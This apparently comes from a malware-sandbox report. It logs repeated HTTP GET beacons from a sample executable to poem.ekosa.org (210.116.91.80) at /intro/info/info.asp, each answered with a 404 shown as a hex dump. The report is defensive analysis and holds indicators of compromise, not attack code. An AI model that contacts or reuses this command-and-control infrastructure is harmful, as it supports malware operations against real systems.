Jan 11, 2021 17:56:48.175436020 CET	5219	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:48.446273088 CET	5220	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:47 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.4	49972	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:48.830677986 CET	5221	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:49.091150045 CET	5221	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:48 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.4	49973	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:49.365000010 CET	5222	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:49.629981041 CET	5222	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:48 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.4	49974	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:49.900779009 CET	5223	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:50.162297010 CET	5224	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:50 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.4	49975	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:50.537497997 CET	5224	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:50.798779011 CET	5225	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:50 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.4	49976	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:51.066354036 CET	5226	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:51.329032898 CET	5226	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:51 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.4	49977	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:51.603130102 CET	5227	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:51.866241932 CET	5227	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:51 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.4	49978	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:52.263866901 CET	5228	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:52.534707069 CET	5229	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:52 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.4	49979	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:52.803566933 CET	5229	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:53.063415051 CET	5230	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:52 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49759	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:54:57.754849911 CET	93	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:54:58.014203072 CET	94	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:54:57 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49784	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:08.144635916 CET	389	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:08.404642105 CET	390	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:08 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not 